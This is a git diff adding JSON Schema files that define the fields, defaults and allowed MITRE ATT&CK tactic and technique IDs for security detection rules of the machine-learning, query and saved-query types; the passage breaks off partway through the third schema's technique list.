"$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "anomaly_threshold": { + "minimum": 0, + "type": "integer" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "machine_learning_job_id": { + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001.001", + "T1001.002", + "T1001.003", + "T1003.001", + "T1003.002", + "T1003.003", + "T1003.004", + "T1003.005", + "T1003.006", + "T1003.007", + "T1003.008", + "T1011.001", + "T1021.001", + "T1021.002", + "T1021.003", + "T1021.004", + "T1021.005", + "T1021.006", + "T1027.001", + "T1027.002", + "T1027.003", + "T1027.004", + "T1027.005", + "T1036.001", + "T1036.002", + "T1036.003", + "T1036.004", + "T1036.005", + "T1036.006", + "T1037.001", + "T1037.002", + "T1037.003", + "T1037.004", + "T1037.005", + "T1048.001", + "T1048.002", + "T1048.003", + "T1052.001", + "T1053.001", + "T1053.002", + "T1053.003", + "T1053.004", + "T1053.005", + "T1055.001", + "T1055.002", + "T1055.003", + "T1055.004", + "T1055.005", + "T1055.008", + "T1055.009", + "T1055.011", + "T1055.012", + "T1055.013", + "T1055.014", + "T1056.001", + "T1056.002", + "T1056.003", + "T1056.004", + "T1059.001", + "T1059.002", + "T1059.003", + "T1059.004", + "T1059.005", + "T1059.006", + "T1059.007", + "T1069.001", + "T1069.002", + "T1069.003", + "T1070.001", + "T1070.002", + "T1070.003", + "T1070.004", + "T1070.005", + "T1070.006", + "T1071.001", + "T1071.002", + "T1071.003", + "T1071.004", + "T1074.001", + "T1074.002", + "T1078.001", + "T1078.002", + "T1078.003", + "T1078.004", + "T1087.001", + "T1087.002", + "T1087.003", + "T1087.004", + "T1090.001", + "T1090.002", + "T1090.003", + "T1090.004", + "T1098.001", + "T1098.002", + "T1098.003", + "T1098.004", + "T1102.001", + "T1102.002", + "T1102.003", + "T1110.001", + "T1110.002", + "T1110.003", + "T1110.004", + "T1114.001", + "T1114.002", + "T1114.003", + "T1127.001", + "T1132.001", + "T1132.002", + "T1134.001", + "T1134.002", + "T1134.003", + "T1134.004", + "T1134.005", + "T1136.001", + "T1136.002", + "T1136.003", + "T1137.001", + "T1137.002", + "T1137.003", + "T1137.004", + "T1137.005", + "T1137.006", + "T1195.001", + "T1195.002", + "T1195.003", + "T1204.001", + "T1204.002", + "T1205.001", + "T1213.001", + "T1213.002", + "T1216.001", + "T1218.001", + "T1218.002", + "T1218.003", + "T1218.004", + "T1218.005", + "T1218.007", + "T1218.008", + "T1218.009", + "T1218.010", + "T1218.011", + "T1222.001", + "T1222.002", + "T1480.001", + "T1491.001", + "T1491.002", + "T1497.001", + "T1497.002", + "T1497.003", + "T1498.001", + "T1498.002", + "T1499.001", + "T1499.002", + "T1499.003", + "T1499.004", + "T1505.001", + "T1505.002", + "T1505.003", + "T1518.001", + "T1542.001", + "T1542.002", + "T1542.003", + "T1543.001", + "T1543.002", + "T1543.003", + "T1543.004", + "T1546.001", + "T1546.002", + "T1546.003", + "T1546.004", + "T1546.005", + "T1546.006", + "T1546.007", + "T1546.008", + "T1546.009", + "T1546.010", + "T1546.011", + "T1546.012", + "T1546.013", + "T1546.014", + "T1546.015", + "T1547.001", + "T1547.002", + "T1547.003", + "T1547.004", + "T1547.005", + "T1547.006", + "T1547.007", + "T1547.008", + "T1547.009", + "T1547.010", + "T1547.011", + "T1548.001", + "T1548.002", + "T1548.003", + "T1548.004", + "T1550.001", + "T1550.002", + "T1550.003", + "T1550.004", + "T1552.001", + "T1552.002", + "T1552.003", + "T1552.004", + "T1552.005", + "T1552.006", + "T1553.001", + "T1553.002", + "T1553.003", + "T1553.004", + "T1555.001", + "T1555.002", + "T1555.003", + "T1556.001", + "T1556.002", + "T1556.003", + "T1557.001", + "T1558.001", + "T1558.002", + "T1558.003", + "T1559.001", + "T1559.002", + "T1560.001", + "T1560.002", + "T1560.003", + "T1561.001", + "T1561.002", + "T1562.001", + "T1562.002", + "T1562.003", + "T1562.004", + "T1562.006", + "T1562.007", + "T1563.001", + "T1563.002", + "T1564.001", + "T1564.002", + "T1564.003", + "T1564.004", + "T1564.005", + "T1564.006", + "T1565.001", + "T1565.002", + "T1565.003", + "T1566.001", + "T1566.002", + "T1566.003", + "T1567.001", + "T1567.002", + "T1568.001", + "T1568.002", + "T1568.003", + "T1569.001", + "T1569.002", + "T1573.001", + "T1573.002", + "T1574.001", + "T1574.002", + "T1574.004", + "T1574.005", + "T1574.006", + "T1574.007", + "T1574.008", + "T1574.009", + "T1574.010", + "T1574.011", + "T1574.012", + "T1578.001", + "T1578.002", + "T1578.003", + "T1578.004" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "machine_learning", + "enum": [ + "machine_learning" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "anomaly_threshold", + "machine_learning_job_id", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.11/7.11.query.json b/etc/api_schemas/7.11/7.11.query.json new file mode 100644 index 000000000..0d1fc7179 --- /dev/null +++ b/etc/api_schemas/7.11/7.11.query.json @@ -0,0 +1,955 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "default": "kuery", + "enum": [ + "kuery", + "lucene" + ], + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001.001", + "T1001.002", + "T1001.003", + "T1003.001", + "T1003.002", + "T1003.003", + "T1003.004", + "T1003.005", + "T1003.006", + "T1003.007", + "T1003.008", + "T1011.001", + "T1021.001", + "T1021.002", + "T1021.003", + "T1021.004", + "T1021.005", + "T1021.006", + "T1027.001", + "T1027.002", + "T1027.003", + "T1027.004", + "T1027.005", + "T1036.001", + "T1036.002", + "T1036.003", + "T1036.004", + "T1036.005", + "T1036.006", + "T1037.001", + "T1037.002", + "T1037.003", + "T1037.004", + "T1037.005", + "T1048.001", + "T1048.002", + "T1048.003", + "T1052.001", + "T1053.001", + "T1053.002", + "T1053.003", + "T1053.004", + "T1053.005", + "T1055.001", + "T1055.002", + "T1055.003", + "T1055.004", + "T1055.005", + "T1055.008", + "T1055.009", + "T1055.011", + "T1055.012", + "T1055.013", + "T1055.014", + "T1056.001", + "T1056.002", + "T1056.003", + "T1056.004", + "T1059.001", + "T1059.002", + "T1059.003", + "T1059.004", + "T1059.005", + "T1059.006", + "T1059.007", + "T1069.001", + "T1069.002", + "T1069.003", + "T1070.001", + "T1070.002", + "T1070.003", + "T1070.004", + "T1070.005", + "T1070.006", + "T1071.001", + "T1071.002", + "T1071.003", + "T1071.004", + "T1074.001", + "T1074.002", + "T1078.001", + "T1078.002", + "T1078.003", + "T1078.004", + "T1087.001", + "T1087.002", + "T1087.003", + "T1087.004", + "T1090.001", + "T1090.002", + "T1090.003", + "T1090.004", + "T1098.001", + "T1098.002", + "T1098.003", + "T1098.004", + "T1102.001", + "T1102.002", + "T1102.003", + "T1110.001", + "T1110.002", + "T1110.003", + "T1110.004", + "T1114.001", + "T1114.002", + "T1114.003", + "T1127.001", + "T1132.001", + "T1132.002", + "T1134.001", + "T1134.002", + "T1134.003", + "T1134.004", + "T1134.005", + "T1136.001", + "T1136.002", + "T1136.003", + "T1137.001", + "T1137.002", + "T1137.003", + "T1137.004", + "T1137.005", + "T1137.006", + "T1195.001", + "T1195.002", + "T1195.003", + "T1204.001", + "T1204.002", + "T1205.001", + "T1213.001", + "T1213.002", + "T1216.001", + "T1218.001", + "T1218.002", + "T1218.003", + "T1218.004", + "T1218.005", + "T1218.007", + "T1218.008", + "T1218.009", + "T1218.010", + "T1218.011", + "T1222.001", + "T1222.002", + "T1480.001", + "T1491.001", + "T1491.002", + "T1497.001", + "T1497.002", + "T1497.003", + "T1498.001", + "T1498.002", + "T1499.001", + "T1499.002", + "T1499.003", + "T1499.004", + "T1505.001", + "T1505.002", + "T1505.003", + "T1518.001", + "T1542.001", + "T1542.002", + "T1542.003", + "T1543.001", + "T1543.002", + "T1543.003", + "T1543.004", + "T1546.001", + "T1546.002", + "T1546.003", + "T1546.004", + "T1546.005", + "T1546.006", + "T1546.007", + "T1546.008", + "T1546.009", + "T1546.010", + "T1546.011", + "T1546.012", + "T1546.013", + "T1546.014", + "T1546.015", + "T1547.001", + "T1547.002", + "T1547.003", + "T1547.004", + "T1547.005", + "T1547.006", + "T1547.007", + "T1547.008", + "T1547.009", + "T1547.010", + "T1547.011", + "T1548.001", + "T1548.002", + "T1548.003", + "T1548.004", + "T1550.001", + "T1550.002", + "T1550.003", + "T1550.004", + "T1552.001", + "T1552.002", + "T1552.003", + "T1552.004", + "T1552.005", + "T1552.006", + "T1553.001", + "T1553.002", + "T1553.003", + "T1553.004", + "T1555.001", + "T1555.002", + "T1555.003", + "T1556.001", + "T1556.002", + "T1556.003", + "T1557.001", + "T1558.001", + "T1558.002", + "T1558.003", + "T1559.001", + "T1559.002", + "T1560.001", + "T1560.002", + "T1560.003", + "T1561.001", + "T1561.002", + "T1562.001", + "T1562.002", + "T1562.003", + "T1562.004", + "T1562.006", + "T1562.007", + "T1563.001", + "T1563.002", + "T1564.001", + "T1564.002", + "T1564.003", + "T1564.004", + "T1564.005", + "T1564.006", + "T1565.001", + "T1565.002", + "T1565.003", + "T1566.001", + "T1566.002", + "T1566.003", + "T1567.001", + "T1567.002", + "T1568.001", + "T1568.002", + "T1568.003", + "T1569.001", + "T1569.002", + "T1573.001", + "T1573.002", + "T1574.001", + "T1574.002", + "T1574.004", + "T1574.005", + "T1574.006", + "T1574.007", + "T1574.008", + "T1574.009", + "T1574.010", + "T1574.011", + "T1574.012", + "T1578.001", + "T1578.002", + "T1578.003", + "T1578.004" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "query", + "enum": [ + "query" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "language", + "query", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.11/7.11.saved_query.json b/etc/api_schemas/7.11/7.11.saved_query.json new file mode 100644 index 000000000..d085ba476 --- /dev/null +++ b/etc/api_schemas/7.11/7.11.saved_query.json @@ -0,0 +1,946 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "saved_id": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + 